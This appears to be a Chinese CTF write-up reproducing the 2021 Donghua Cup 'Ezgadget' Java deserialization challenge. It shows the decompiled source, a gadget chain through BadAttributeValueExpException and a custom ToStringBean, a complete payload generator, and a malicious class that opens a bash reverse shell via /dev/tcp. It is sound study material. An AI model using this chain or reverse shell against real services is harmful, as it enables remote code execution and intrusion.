2021东华杯Ezgadget复现
前言
东华杯去年打进决赛了,但那时候基本上我都是打misc,也不懂Java,最近学了一些Java的知识,就来复现一下这个题目,算是炒冷饭了,话不多说,进入正题。
复现过程
题目给了一个jar包(下载地址放在文章末),使用jd-gui
反编译看一下源码。
IndexController: 网站首页,有一个readobject
路由,接收一个data参数,然后将data的值进行base64解码,然后将其变为一个对象流,读取一个UTF和一个Int,如果满足name.equals("gadgets") && year == 2021
即触发反序列化
import com.ezgame.ctf.tools.Tools;
import java.io.ByteArrayInputStream;
import java.io.InputStream;
import java.io.ObjectInputStream;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import org.springframework.stereotype.Controller;
import org.springframework.ui.Model;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.ResponseBody;
@Controller
public class IndexController {
@ResponseBody
@RequestMapping({"/"})
public String index(HttpServletRequest request, HttpServletResponse response) {
return "index";
}
@ResponseBody
@RequestMapping({"/readobject"})
public String unser(@RequestParam(name = "data", required = true) String data, Model model) throws Exception {
byte[] b = Tools.base64Decode(data);
InputStream inputStream = new ByteArrayInputStream(b);
ObjectInputStream objectInputStream = new ObjectInputStream(inputStream);
String name = objectInputStream.readUTF();
int year = objectInputStream.readInt();
if (name.equals("gadgets") && year == 2021)
objectInputStream.readObject();
return "welcome bro.";
}
}
User: 一个常见的JavaBean
mport java.io.Serializable;
public class User implements Serializable {
private String UserName;
private String PassWord;
public String getUserName() {
return this.UserName;
}
public void setUserName(String userName) {
this.UserName = userName;
}
public String getPassWord() {
return this.PassWord;
}
public void setPassWord(String passWord) {
this.PassWord = passWord;
}
public String toString() {
return "User{UserName='" + this.UserName + '\'' + ", PassWord='" + this.PassWord + '\'' + '}';
}
}
Tools: 定义了Base64的加解密以及序列化和反序列化
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.util.Base64;
public class Tools {
public static byte[] base64Decode(String base64) {
Base64.Decoder decoder = Base64.getDecoder();
return decoder.decode(base64);
}
public static String base64Encode(byte[] bytes) {
Base64.Encoder encoder = Base64.getEncoder();
return encoder.encodeToString(bytes);
}
public static byte[] serialize(Object obj) throws Exception {
ByteArrayOutputStream btout = new ByteArrayOutputStream();
ObjectOutputStream objOut = new ObjectOutputStream(btout);
objOut.writeObject(obj);
return btout.toByteArray();
}
public static Object deserialize(byte[] serialized) throws Exception {
ByteArrayInputStream btin = new ByteArrayInputStream(serialized);
ObjectInputStream objIn = new ObjectInputStream(btin);
return objIn.readObject();
}
}
ToStringBean: 继承了ClassLoader,为了能调用defineClass,从而动态加载一个类,将这个类实例化从而达到命令执行。这里只要能调用toString
就能加载我们传入的恶意字节码,其中ClassByte就是我们要传入的恶意字节码,由于是私有的,所以只能通过反射来进行赋值。
import java.io.Serializable;
public class ToStringBean extends ClassLoader implements Serializable {
private byte[] ClassByte;
public String toString() {
com.ezgame.ctf.tools.ToStringBean toStringBean = new com.ezgame.ctf.tools.ToStringBean();
Class clazz = toStringBean.defineClass((String)null, this.ClassByte, 0, this.ClassByte.length);
Object Obj = null;
try {
Obj = clazz.newInstance();//类的实例化
} catch (InstantiationException e) {
e.printStackTrace();
} catch (IllegalAccessException e) {
e.printStackTrace();
}
return "enjoy it.";
}
}
整个过程的一个逻辑就是readobject
路由对data参数进行反序列化,而toStringBean
类重写了toString
方法。然后BadAttributeValueExpException
类的readobject方法中调用了val
的toString()
方法,val
可以传入toStringBean
,从而在调用BadAttributeValueExpException
的readobject
的时候调用的toStringBean
的toString()
方法。
所以可以从BadAttributeValueExpException.readobject
-> toStringBean.toString
-> defineClass+newInstance()
。
Exp
package com.ezgame.ctf;
import com.ezgame.ctf.tools.ToStringBean;
import com.ezgame.ctf.tools.Tools;
import javax.management.BadAttributeValueExpException;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
public class Exp {
public static void main(String[] args) throws Exception{
ToStringBean toStringBean = new ToStringBean();
Field classByteField = toStringBean.getClass().getDeclaredField("ClassByte");
classByteField.setAccessible(true);
byte[] bytes = Files.readAllBytes(Paths.get("D:\\Cc\\IntelliJ IDEA 2021.1\\Ezgadget\\target\\classes\\com\\ezgame\\ctf\\payload.class"));
classByteField.set(toStringBean,bytes);//对ToStringBean类中的ClassByte赋值
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(123123);
Field valField = badAttributeValueExpException.getClass().getDeclaredField("val");
valField.setAccessible(true);
valField.set(badAttributeValueExpException,toStringBean);//对val赋值为toStringBean,从而在调用badAttributeValueExpException的readobject的时候调用的toStringBean的toString()方法
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();//新建一个字节流
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);//把字节流转为对象流
objectOutputStream.writeUTF("gadgets");//往UTF中写入gadgets
objectOutputStream.writeInt(2021);//往Int中写入2021
objectOutputStream.writeObject(badAttributeValueExpException);//调用badAttributeValueExpException.writeObject序列化
byte[] bytes1 = byteArrayOutputStream.toByteArray();//把字节流导出为字节数组
String s = Tools.base64Encode(bytes1);//base64编码
System.out.println(s);
}
}
恶意字节码
package com.ezgame.ctf;
import java.io.IOException;
public class payload {
static {
try {
Runtime.getRuntime().exec(new String[]{"/bin/bash","-c","bash -i >& /dev/tcp/127.0.0.1/7777 0>&1"});
} catch (IOException e) {
e.printStackTrace();
}
}
}
我把jar包放虚拟机上,把环境跑起来,尝试反弹shell
java -jar ezgadget.jar
因为base64编码出来的payload有+号,而处理的时候会当作空格引发报错,所以要进行url编码
成功反弹shell,原先在le1a目录,收到了来自桌面的反弹shell
题目附件:点击下载